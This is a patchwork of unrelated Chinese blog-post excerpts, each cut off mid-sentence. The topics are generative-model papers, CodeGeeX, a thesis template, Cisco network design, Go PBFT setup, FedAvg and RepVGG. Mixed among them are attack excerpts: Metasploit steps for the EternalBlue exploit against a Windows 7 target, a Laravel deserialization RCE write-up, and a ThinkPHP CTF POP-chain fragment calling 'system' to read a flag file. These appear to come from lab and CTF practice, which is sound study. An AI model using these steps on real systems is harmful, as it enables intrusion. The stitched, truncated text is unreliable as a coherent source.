2022年是生成模型奇幻发展的一年，StableDiffusion🎨创造了超现实主义的艺术，ChatGPT💬回答了生命意义的问题，MakeaVideo🎥从文本生成了栩栩如生的马儿，DreamFusion✨生成了不可思议的三维模型，多个AI领域得以迅速发展，绘画、音乐、新闻创作、主播等诸多行业正在被重新定义。下面让我们一起回顾2022年里一些引人注目的生成模型顶级论文：模型文章链接项目链接方向DALL-E2[https://arxiv.org/abs/2204.06125]DALLE2-pytorch文本生成图像StableDiffusion[https://arxiv.org/abs/2112
近日，CodeGeeX模型迭代v1.5版本上线，用户反馈模型效果和使用效率较之前有大幅提升。恰逢CodeGeeX团队在arxiv上发布了论文，详细介绍了CodeGeeXAI编程辅助工具背后的代码生成大模型的架构、训练过程及推理加速等工作。今天我们对这篇论文的核心信息进行解读，让更多的开发者了解CodeGeeX背后大模型的演进历程，以便更好的使用CodeGeeX作为开发者新一代的生产力工具。基于Transformer的技术展现代码生成潜力机器是否能够根据人类意图的描述，例如“编写一个阶乘函数”，自动生成解决该需求的可执行程序？这就是自动程序编写的问题，自20世纪60年代计算机科学的早期就开始了各
1、你要找到自己要攻击的靶机的ip(win7或者win2008)2、进行nmap扫描（攻击机kali）我这里靶机是win7，可以看到445端口是开着的，那我们就可以开始攻击了 3、打开msfconsole，攻击模块 4、用search查找17-010 5、进入这个漏洞：use exploit/windows/smb/ms17_010_eternalblue 6、进入后先：showoptions（查看要设置的参数）7、设置参数 8、show targets（查看可攻击的系统）9、我前边说了，我的靶机是win7，这里选择系统也是选择win7，设置的时候只用选择前边的ID就可以了 10、设置好了
XXXX大学毕业（设计）论文（校徽）论文题目：基于Web的一站式养老院的设计与实现专业班级：学 号：学生姓名：指导教师：电 话：学院名称：完成日期： 年 月 日XX大学毕业论文（设计）原创性声明本人郑重声明：所呈交的论文（设计）是本人在导师的指导下独立进行研究所取得的研究成果。除了文中特别加以标注引用的内容外，本论文不包含任何其他个人或集体已经发表或撰写的成果作品。对本文的研究做出重要贡献的个人和集体，均已在文中以明确方式标明。本人完全意识到本声明的法律后果由本人承担。学生签名： 日期：20
反序列化漏洞是如今很常见的漏洞类型，有很多分类，也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞，进行了一个分析并复现。漏洞详情Laravel是一套简洁、优雅的PHPWeb开发框架。近日，Laravel被披露存在多个安全漏洞，可允许通过反序列化POP链实现远程代码执行，如下：CVE-2022-31279：Laravel远程代码执行漏洞Laravel9.1.8在处理反序列化数据时，允许通过IlluminateBroadcastingPendingBroadcast.php中的__destruct和FakerGenerator.php中的__call中的反序列化POP链实现远程代码执行。
ezpop源码泄露www.zip，用网上的链子直接打namespacethink\model\concern;traitAttribute{private$data=["key"=>["key1"=>"cat/flag.txt"]];private$withAttr=["key"=>["key1"=>"system"]];protected$json=["key"];}namespacethink;abstractclassModel{usemodel\concern\Attribute;private$lazySave;protected$withEvent;private$exists;p
Ciscopackettracer软件模拟实现双核心中型企业/校园网网络设计。包含全部pkt文件操作文档技术说明设计2w字文档设计技术动态vlan，nat，ospfACL访问控制列表，HSRP备份冗余，服务器设计，动态主机配置协议（DHCP），生成树协议（STP），链路聚合。本视频的配置文件适用于多数毕业设计和课程设计！！！需要评论私信交流...项目演示视频：基于Ciscopackettracer的双核心热备份企业网/校园网网络设计综合组网配置详解/演示_哔哩哔哩_bilibili2 企业网系统需求分析2.1 总体需求分析概述2.2 业务需求分析2.2.1 信息点分布统计2.2.2 信息化需求
在windows下成功运行go语言编写的区块链pbft共识代码：先附上代码链接：https://github.com/corgi-kx/blockchain_consensus_algorithm/tree/master/pbft主要是想记录一下运行代码过程中遇到的问题，万一以后用得到，还能抄一下作业问题1：配置go语言环境变量电脑上没有go语言环境，按下面步骤进行环境配置：1、首先在go官网下载https://golang.org/dl/安装包，根据自己电脑选择，我是windows64位，所以下载的go1.18.4.windows-amd64.msi；2、然后按照指引一步一步安装即可，唯一需
【FedAvg】论文链接：https://arxiv.org/abs/1602.05629摘要移动通信设备中有许多有用的数据，训练模型后可以提高用户体验。但是，这些数据通常敏感或很庞大，不能直接上传到数据中心，使用传统的方法训练模型。据此提出联邦学习，将训练数据分布在移动设备上，通过聚合本地计算的更新来学习共享模型。考虑了5种不同的模型和4个数据集，证明本文的方法对不平衡和非独立同分布的数据是鲁棒的，且降低了通信成本。一、介绍主要贡献：将移动设备的去中心化数据的训练作为重要研究方向选择可以应用的简单而实用的算法对所提出的方法进行广泛的实证评估1.联邦学习的理想问题具有以下特性：训练来自移动设备
RepVGG是2021年发表于CVPR，它和resnet一样是一种图像分类网络，在目标检测中被用作backbone，论文提出一种新型技术称之结构重参数化，简单来说就是对训练出的模型进行等价替换成一个简单的模型，然后用这个简单的模型进行推理（也就是testing），目的就是加快推理速度，提高模型实用性。 论文地址：https://arxiv.org/abs/2101.03697论文源码：https://github.com/megvii-model/RepVGG目录1、摘要和引言（RepVGG是什么） 对于复杂的网络明明可以达到一个非常高的精度为什么不用呢？1.1RepVGG模型结构2
